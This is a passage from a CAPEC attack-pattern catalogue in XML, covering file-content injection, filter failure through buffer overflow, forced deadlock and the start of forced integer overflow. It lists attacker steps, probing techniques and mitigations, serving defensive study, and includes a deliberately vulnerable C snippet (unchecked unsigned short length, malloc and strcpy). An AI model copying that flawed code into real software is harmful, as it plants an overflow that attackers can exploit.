			<Summary>An attack of this type exploits the host's trust in executing remote content including binary files. The files are poisoned with a malicious payload (targeting the file systems accessible by the target software) by the attacker and may be passed through standard channels such as via email, and standard web content like PDF and multimedia files. The attacker exploits known vulnerabilities or handling routines in the target processes. Vulnerabilities of this type have been found in a wide variety of commercial applications from Microsoft Office to Adobe Acrobat and Apple Safari web browser. When the attacker knows the standard handling routines and can identify vulnerabilities and entry points they can be exploited by otherwise seemingly normal content. Once the attack is executed, the attacker's program can access relative directories such as C:\Program Files or other standard system directories to launch further attacks. In a worst case scenario, these programs are combined with other propagation logic and work as a virus.</Summary>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target software must consume files.</Attack_Prerequisite>
			<Attack_Prerequisite>The attacker must have access to modify files that the target software will consume.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>Very High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>PHP is a very popular web server. When PHP is used with global variables, a vulnerability may be opened that affects the file system. A standard HTML form that allows for remote users to upload files, may also place those files in a public directory where the attacker can directly access and execute them through a browser. This vulnerability allows remote attackers to execute arbitrary code on the system, and can result in the attacker being able to erase intrusion evidence from system and application logs.
					Reference - http://www.owasp.org/index.php/File_System</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium</Attacker_Skill_or_Knowledge_Required>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Design: Enforce principle of least privilege</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Validate all input for content including files. Ensure that if files and remote content must be accepted that once accepted, they are placed in a sandbox type location so that lower assurance clients cannot write up to higher assurance processes (like Web server processes for example)</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Execute programs with constrained privileges, so parent process does not open up further vulnerabilities. Ensure that all directories, temporary directories and files, and memory are executing with limited privileges to protect against remote execution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Proxy communication to host, so that communications are terminated at the proxy, sanitizing the requests before forwarding to server host.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Virus scanning on host</Solution_or_Mitigation>
			<Solution_or_Mitigation>Implementation: Host integrity monitoring for critical files, directories, and processes. The goal of host integrity monitoring is to be aware when a security issue has occurred so that incident response and other forensic activities can begin.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Context_Description>"Attack Pattern: File System Function Injection, Content Based
		A protocol header or snippet of code embedded in a media file is used in a trusted function call when the file is opened by the client. Examples include music files such as MP3, archive files such as ZIP and TAR, and more complex files such as PDF and Postscript files. Common targets for this attack are Microsoft Word and Excel files, most often delivered as e-mail attachments.

		An attacker typically makes use of relative paths in ZIP, RAR, TAR archive, and decompresses to get to parent directories."

		[Hoglund and McGraw 04]</Context_Description>
		<Injection_Vector>Payload delivered through standard communication protocols.</Injection_Vector>
		<Payload>Command(s) executed directly on host filesystem</Payload>
		<Activation_Zone>Client machine and client network</Activation_Zone>
		<Payload_Activation_Impact>Enables attacker to execute server side code with any commands that the program owner has privileges to.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>77</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>23</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>22</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>713</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>715</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>High</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Gunnar Peterson</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-28</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-09</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Attack Prerequisites</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="24" Name="Filter Failure through Buffer Overflow" Pattern_Abstraction="Detailed">
		<Description>
			<Summary>In this attack, the idea is to cause an active filter to fail by causing an oversized transaction.  An attacker may try to feed overly long input strings to the program in an attempt to overwhelm the filter (by causing a buffer overflow) and hoping that the filter does not fail securely (i.e. lets the user input into the system unfiltered).</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="Explore">
					<Attack_Step>
						<Attack_Step_Title>Survey</Attack_Step_Title>
						<Attack_Step_Description>The attacker surveys the target application, possibly as a valid and authenticated user</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Spidering web sites for inputs that involve potential filtering</Attack_Step_Technique_Description>
							<Environments>env-Web</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Brute force guessing of filtered inputs</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c24s1i1" type="Positive">
							<Indicator_Description>Software messages (e.g., "the following characters are not allowed...") indicate that filtered inputs are present in the software. (</Indicator_Description>
							<Environments>env-Web env-ClientServer</Environments>
						</Indicator>
						<Indicator ID="c24s1i2" type="Positive">
							<Indicator_Description>Application uses predefined inputs (e.g., drop-down lists, radio buttons, selection lists, etc.)</Indicator_Description>
							<Environments>env-Web env-ClientServer env-Local env-Embedded</Environments>
						</Indicator>
						<Indicator ID="c24s1i3" type="Negative">
							<Indicator_Description>Managed code (e.g., .NET, Java) is likely, based on URLs.</Indicator_Description>
							<Environments>env-Web</Environments>
						</Indicator>
						<Indicator ID="c24s1i4" type="Negative">
							<Indicator_Description>Managed code (e.g., .NET, Java) is likely, based on files found in software.</Indicator_Description>
							<Environments>env-ClientServer env-Local env-Embedded env-Peer2Peer env-CommProtocol</Environments>
						</Indicator>
						<Indicator ID="c24s1i5" type="Negative">
							<Indicator_Description>Java code is likely, based on standard disclaimers (e.g., "This software contains Java from Sun...."). Such declarations are frequent on commercial software that is based on Java.</Indicator_Description>
							<Environments>env-Embedded env-Local env-ClientServer</Environments>
						</Indicator>
						<Indicator ID="c24s1i6" type="Inconclusive">
							<Indicator_Description>Java code is likely, based on one of the other indicators, but it could contain Java Native Interface (JNI) code. This is indicated by the inclusion of DLLs or equivalent binary object code with Java code.</Indicator_Description>
							<Environments>env-Embedded env-Local env-ClientServer</Environments>
						</Indicator>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Experiment">
					<Attack_Step>
						<Attack_Step_Title>Attempt injections</Attack_Step_Title>
						<Attack_Step_Description>Try to feed overly long data to the system.  This can be done manually or a dynamic tool (black box) can  be used to automate this.  An attacker can also use a custom script for that purpose.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Brute force attack through black box penetration test tool.</Attack_Step_Technique_Description>
							<Environments>env-Web env-ClientServer env-CommProtocol env-Peer2Peer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Fuzzing of communications protocols</Attack_Step_Technique_Description>
							<Environments>env-CommProtocol env-Peer2Peer env-ClientServer</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Manual testing of possible inputs with attack data.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Outcome ID="c24s2o1" type="Success">Unexpected output from the application.</Outcome>
						<Outcome ID="c24s2o2" type="Failure">No unexpected output from the application.</Outcome>
						<Security_Control ID="c24s2s1" type="Detective">Monitor and analyze logs for failures that exceed common usage sizes. For example, if typical transactions, even normal failed transactions, rarely exceed 250 characters, monitor logs for all attempts that contain 250 or more characters. In the event of successful exploitation, there may actually be no useful log. But an attacker's experiments will likely show up, giving clues to the ultimate attack.</Security_Control>
						<Security_Control ID="c24s2s2" type="Corrective">Disconnect or block connections from systems or users that exceed acceptable heuristics for normal transaction sizes.</Security_Control>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Title>Monitor responses</Attack_Step_Title>
						<Attack_Step_Description>Watch for any indication of failure occurring.  Carefully watch to see what happened when filter failure occurred.  Did the data get in?</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Boron tagging. Choose clear attack inputs that are easy to notice in output. In binary this is often 0xa5a5a5a5 (alternating 1s and 0s). Another obvious tag value is all zeroes, but it is not always obvious what goes wrong if the null values get into the data.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Check Log files. An attacker with access to log files can look at the outcome of bad input.</Attack_Step_Technique_Description>
							<Environments>env-Local env-Embedded</Environments>
						</Attack_Step_Technique>
						<Security_Control ID="c24s3s1" type="Preventative">Prevent access to log files that contain error output.</Security_Control>
						<Security_Control ID="c24s3s2" type="Preventative">Prevent access to and/or sanitize all error output.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
				<Attack_Phase Name="Exploit">
					<Attack_Step>
						<Attack_Step_Title>Abuse the system through filter failure</Attack_Step_Title>
						<Attack_Step_Description>An attacker writes a script to consistently induce the filter failure.</Attack_Step_Description>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>DoS through filter failure. The attacker causes the system to crash or stay down because of its failure to filter properly.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>Malicious code execution. An attacker introduces a malicious payload and executes arbitrary code on the target system.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Attack_Step_Technique>
							<Attack_Step_Technique_Description>An attacker can use the filter failure to introduce malicious data into the system and leverage a subsequent SQL injection, Cross Site Scripting, Command Injection or similar weakness if it exists.</Attack_Step_Technique_Description>
							<Environments>env-All</Environments>
						</Attack_Step_Technique>
						<Indicator ID="c24s4i1" type="Positive">
							<Indicator_Description>Failure mode of the software (perhaps as a safety mechanism) includes exiting or ceasing to respond.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Indicator ID="c24s4i2" type="Negative">
							<Indicator_Description>Failures do not involve stopping services, rejecting inputs or connections, and do not affect other simultaneous users of the software.</Indicator_Description>
							<Environments>env-All</Environments>
						</Indicator>
						<Outcome ID="c24s4o1" type="Success">Attacker-supplied code is executed on the target system.</Outcome>
						<Outcome ID="c24s4o2" type="Success">The software stops responding for at least two orders of magnitude longer than the input takes to send. (e.g., 0.1s to send input induces at least a 10 second period non-responsiveness).</Outcome>
						<Outcome ID="c24s4o3" type="Success">Non-response by an attacker's input has an impact on the quality of service of other simultaneous users of the software.</Outcome>
						<Security_Control ID="c24s4s1" type="Detective">Monitor software response time regularly, and react to unexpected variations.</Security_Control>
						<Security_Control ID="c24s4s2" type="Preventative">Execute filtering modules with minimal privileges.</Security_Control>
						<Security_Control ID="c24s4s3" type="Preventative">Execute filtering modules in operating system "sandboxes" or similar containers.</Security_Control>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>Ability to control the length of data passed to an active filter.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Attack Example: Filter Failure in Taylor UUCP Daemon
				
				Sending in arguments that are too long to cause the filter to fail open is one instantiation of the filter failure attack. The Taylor UUCP daemon is designed to remove hostile arguments before they can be executed. If the arguments are too long, however, the daemon fails to remove them. This leaves the door open for attack.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>A filter is used by a web application to filter out characters that may allow the input to jump from the data plane to the control plane when data is used in a SQL statement (chaining this attack with the SQL injection attack).  Leveraging a buffer overflow the attacker makes the filter fail insecurely and the tainted data is permitted to enter unfiltered into the system, subsequently causing a SQL injection.</Example-Instance_Description>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>Audit Truncation and Filters with Buffer Overflow.  Sometimes very large transactions can be used to destroy a log file or cause partial logging failures. In this kind of attack, log processing code might be examining a transaction in real-time processing, but the oversized transaction causes a logic branch or an exception of some kind that is trapped. In other words, the transaction is still executed, but the logging or filtering mechanism still fails. This has two consequences, the first being that you can run transactions that are not logged in any way (or perhaps the log entry is completely corrupted). The second consequence is that you might slip through an active filter that otherwise would stop your attack.</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low : An attacker can simply overflow a buffer by inserting a long string into an attacker-modifiable injection vector.  The result can be a DoS.
		High : Exploiting a buffer overflow to inject malicious code into the stack of a software system or even the heap can require a higher skill level.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>Try to feed very long data as input to the program and watch for any indication that a failure has occurred.   Then see if input has been admitted into the system.</Probing_Technique>
			<Probing_Technique>Some dynamic analysis tools may be helpful here to determine whether failure can be induced by feeding overly long inputs strings into the system.</Probing_Technique>
		</Probing_Techniques>
		<Indicators-Warnings_of_Attack>
			<Indicator-Warning_of_Attack>Many exceptions are thrown by the application's filter modules in a short period of time. Check the logs. See if the probes are coming from the same IP address.</Indicator-Warning_of_Attack>
		</Indicators-Warnings_of_Attack>
		<Obfuscation_Techniques>
			<Obfuscation_Technique>An attacker may temporally space out their probes.</Obfuscation_Technique>
			<Obfuscation_Technique>An attacker may perform probes from different IP addresses.</Obfuscation_Technique>
		</Obfuscation_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Make sure that ANY failure occurring in the filtering or input validation routine is properly handled and that offending input is NOT allowed to go through.  Basically make sure that the vault is closed when failure occurs.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Pre-design: Use a language or compiler that performs automatic bounds checking.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Pre-design through Build: Compiler-based canary mechanisms such as StackGuard, ProPolice and the Microsoft Visual Studio /GS flag. Unless this provides automatic bounds checking, it is not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Operational: Use OS-level preventative functionality. Not a complete solution.</Solution_or_Mitigation>
			<Solution_or_Mitigation>Design: Use an abstraction library to abstract away risky APIs. Not a complete solution.</Solution_or_Mitigation>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Run Arbitrary Code</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Privilege Escalation</Attack_Motivation-Consequence>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Injection_Vector>Web form, URL, File, Command line, Network socket, etc.</Injection_Vector>
		<Payload>All of the data that just got into the system unfiltered becomes the payload.</Payload>
		<Activation_Zone>Since the input enters the system effectively unfiltered, it may be dangerous if used in a SQL statement (i.e. SQL injection), as part of the command executed on the target system (i.e. command injection), as part of the reflection API (i.e. reflection injection), placed in logs (i.e. log injection), or perhaps to overflow another buffer in the system and give the attacker ability to execute arbitrary code. A subsequent buffer overflow may not even be required for that as the original one may be leveraged if the attacker gets lucky, that is the payload is activated in the filter itself, which also becomes the activation zone.</Activation_Zone>
		<Payload_Activation_Impact>Since no input validation is effectively performed in this situation, the impact of the attack may be a complete compromise of confidentiality, integrity, accountability and availability services.</Payload_Activation_Impact>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>120</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>119</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>118</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>74</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>20</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>680</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>733</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>697</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Related_Attack_Patterns>
			<Related_Attack_Pattern>
				<Related_Attack_Pattern_ID>100</Related_Attack_Pattern_ID>
				<Related_Attack_Pattern_Relationship_Type>Occasionally Follows</Related_Attack_Pattern_Relationship_Type>
				<Relationship_Description/>
			</Related_Attack_Pattern>
		</Related_Attack_Patterns>
		<Relevant_Security_Requirements>
			<Relevant_Security_Requirement>Input validation and filtering logic should fail securely (vault doors are closed)</Relevant_Security_Requirement>
		</Relevant_Security_Requirements>
		<Related_Security_Principles>
			<Related_Security_Principle>Failing Securely</Related_Security_Principle>
		</Related_Security_Principles>
		<Related_Guidelines>
			<Related_Guideline>All input should be treated as rejected by default, unless explicitly allowed by the filter.  Thus if the filter fails before "blessing" the data, it will be rejected.</Related_Guideline>
		</Related_Guidelines>
		<Purpose>Penetration</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Medium</Confidentiality_Impact>
			<Integrity_Impact>High</Integrity_Impact>
			<Availability_Impact>Medium</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
			<Language>C</Language>
			<Language>C++</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Buffer Errors</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-03-01</Submission_Date>
			</Submission>
			<Modification>
				<Modifier>Eugene Lebanidze</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-02-26</Modification_Date>
				<Modification_Comment>Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software"</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-05</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Paco Hope</Modifier>
				<Modifier_Organization>Cigital, Inc.</Modifier_Organization>
				<Modification_Date>2007-10-20</Modification_Date>
				<Modification_Comment>Added extended Attack Execution Flow</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="25" Name="Forced Deadlock" Pattern_Abstraction="Standard">
		<Description>
			<Summary>This attack attempts to trigger and exploit a deadlock condition in the target software to cause a denial of service. A deadlock can occur when two or more competing actions are waiting for each other to finish, and thus neither ever does. Deadlock condition are not easy to detect.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The attacker initiates an exploratory phase to get familiar with the system.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker triggers a first action (such as holding a resource) and initiates a second action which will wait for the first one to finish.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>If the target program has a deadlock condition, the program waits indefinitevely resulting in a denial of service.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The target host has a deadlock condition. There are four conditions for a deadlock to occur, known as the Coffman conditions (See reference, Wikipedia)</Attack_Prerequisite>
			<Attack_Prerequisite>The target host exposes an API to the user.</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>Low</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>An example of a deadlock which may occur in database products is the following. Client applications using the database may require exclusive access to a table, and in order to gain exclusive access they ask for a lock. If one client application holds a lock on a table and attempts to obtain the lock on a second table that is already held by a second client application, this may lead to deadlock if the second application then attempts to obtain the lock that is held by the first application (Source: Wikipedia, http://en.wikipedia.org/wiki/Deadlock)</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Medium/High: This type of attack may be sophisticated and require knowledge about the system's resources and APIs.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>The attacker can probe by trying to hold resources and call APIs which are directly using the same resources.</Probing_Technique>
			<Probing_Technique>The attacker may try to find actions (threads, processes) competing for the same resources.</Probing_Technique>
		</Probing_Techniques>
		<Solutions_and_Mitigations>
			<Solution_or_Mitigation>Use known algorithm to avoid deadlock condition (for instance non-blocking synchronization algorithms).</Solution_or_Mitigation>
			<Solution_or_Mitigation>For competing actions use well known libraries which implement synchronization.</Solution_or_Mitigation>
			<Solution_or_Mitigation/>
		</Solutions_and_Mitigations>
		<Attack_Motivation-Consequences>
			<Attack_Motivation-Consequence>Denial of Service</Attack_Motivation-Consequence>
		</Attack_Motivation-Consequences>
		<Related_Weaknesses>
			<Related_Weakness>
				<CWE_ID>412</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>567</CWE_ID>
				<Weakness_Relationship_Type>Secondary</Weakness_Relationship_Type>
			</Related_Weakness>
			<Related_Weakness>
				<CWE_ID>662</CWE_ID>
				<Weakness_Relationship_Type>Targeted</Weakness_Relationship_Type>
			</Related_Weakness>
		</Related_Weaknesses>
		<Purpose>Exploitation</Purpose>
		<CIA_Impact>
			<Confidentiality_Impact>Low</Confidentiality_Impact>
			<Integrity_Impact>Low</Integrity_Impact>
			<Availability_Impact>High</Availability_Impact>
		</CIA_Impact>
		<Technical_Context>
			<Architectural_Paradigm>All</Architectural_Paradigm>
			<Framework>All</Framework>
			<Platform>All</Platform>
			<Language>All</Language>
		</Technical_Context>
		<References>
			<Reference>G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004.</Reference>
			<Reference>CWE - Unrestricted Critical Resource Lock</Reference>
			<Reference>Deadlock, http://en.wikipedia.org/wiki/Deadlock</Reference>
		</References>
		<Source>
			<Submission>
				<Submitter>Eric Dalci</Submitter>
				<Submitter_Organization>Cigital, Inc</Submitter_Organization>
				<Submission_Date>2007-01-25</Submission_Date>
				<Submission_Comment/>
			</Submission>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-03-07</Modification_Date>
				<Modification_Comment>Review and revise</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Richard Struse</Modifier>
				<Modifier_Organization>VOXEM, Inc</Modifier_Organization>
				<Modification_Date>2007-03-26</Modification_Date>
				<Modification_Comment>Review and feedback leading to changes in Likelihood and other general areas</Modification_Comment>
			</Modification>
			<Modification>
				<Modifier>Sean Barnum</Modifier>
				<Modifier_Organization>Cigital, Inc</Modifier_Organization>
				<Modification_Date>2007-04-13</Modification_Date>
				<Modification_Comment>Modified pattern content according to review and feedback</Modification_Comment>
			</Modification>
		</Source>
	</Attack_Pattern>
	<Attack_Pattern CAPEC_ID="92" Name="Forced Integer Overflow" Pattern_Abstraction="Standard">
		<Description>
			<Summary>This attack forces an integer variable to go out of range. The integer variable is often used as an offset such as size of memory allocation or similarly. The attacker would typically control the value of such variable and try to get it out of range. For instance the integer in question is incremented past the maximum possible value, it may wrap to become a very small, or negative number, therefore providing a very incorrect value which can lead to unexpected behavior. At worst the attacker can execute arbitrary code.</Summary>
			<Attack_Execution_Flow>
				<Attack_Phase Name="">
					<Attack_Step>
						<Attack_Step_Description>The first step is exploratory meaning the attacker looks for an integer variable that he can control.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The attacker finds an integer variable that he can write into or manipulate and try to get the value of the integer out of the possible range. The integer variable is forced to have a value out of range which set its final value to an unexpected value.</Attack_Step_Description>
					</Attack_Step>
					<Attack_Step>
						<Attack_Step_Description>The target host acts on the data and unexpected behaviour may happen.</Attack_Step_Description>
					</Attack_Step>
				</Attack_Phase>
			</Attack_Execution_Flow>
		</Description>
		<Attack_Prerequisites>
			<Attack_Prerequisite>The attacker can manipulate the value of an integer variable utilized by the target host.</Attack_Prerequisite>
			<Attack_Prerequisite>The target host does not do proper range checkingon the variable before utilizing it.</Attack_Prerequisite>
			<Attack_Prerequisite>When the integer variable is incremented or decremented to an out of range value, it gets a very different value (e.g. very small or negative number)</Attack_Prerequisite>
		</Attack_Prerequisites>
		<Typical_Severity>High</Typical_Severity>
		<Typical_Likelihood_of_Exploit>
			<Likelihood>High</Likelihood>
		</Typical_Likelihood_of_Exploit>
		<Methods_of_Attack>
			<Method_of_Attack>Modification of Resources</Method_of_Attack>
			<Method_of_Attack>Injection</Method_of_Attack>
			<Method_of_Attack>API Abuse</Method_of_Attack>
			<Method_of_Attack>Analysis</Method_of_Attack>
		</Methods_of_Attack>
		<Examples-Instances>
			<Example-Instance>
				<Example-Instance_Description>Integer overflow in the ProcAuWriteElement function in server/dia/audispatch.c in Network Audio System (NAS) before 1.8a SVN 237 allows remote attackers to cause a denial of service (crash) and possibly execute arbitrary code via a large max_samples value.</Example-Instance_Description>
				<Example-Instance_Related_Vulnerability>CVE-2007-1544</Example-Instance_Related_Vulnerability>
			</Example-Instance>
			<Example-Instance>
				<Example-Instance_Description>The following code illustrates an integer overflow. The declaration of total integer as "unsigned short int" assumes that the length of the first and second arguments fits in such an integer. From "Secure Coding in C and C++" by Robert C. Seacord. Page 152, Figure 5-1
				
				include &lt;stdlib.h&gt;
				include &lt;string.h&gt;
				include &lt;stdio.h&gt;
				
				int main (int argc, char *const *argv)
				{
				        if (argc !=3){
				                printf("Usage: prog_name &lt;string1&gt; &lt;string2&gt;\n");
				                exit(-1);
				        }
				        unsigned short int total;
				        total = strlen(argv[1])+strlen(argv[2])+1;
				        char * buff = (char *)malloc(total);
				        strcpy(buff, argv[1]);
				        strcpy(buff, argv[2]);
				}
				//Source : SAMATE.NIST.GOV : http://samate.nist.gov/SRD/view_testcase.php?login=Guest&amp;tID=1511</Example-Instance_Description>
			</Example-Instance>
		</Examples-Instances>
		<Attacker_Skill_or_Knowledge_Required>Low : An attacker can simply overflow an integer by inserting an out of range value.
		High : Exploiting a buffer overflow by injecting malicious code into the stack of a software system or even the heap can require a higher skill level.</Attacker_Skill_or_Knowledge_Required>
		<Probing_Techniques>
			<Probing_Technique>Vulnerability testing tool can be used to probe for integer overflow (e.g. fuzzer).</Probing_Technique>
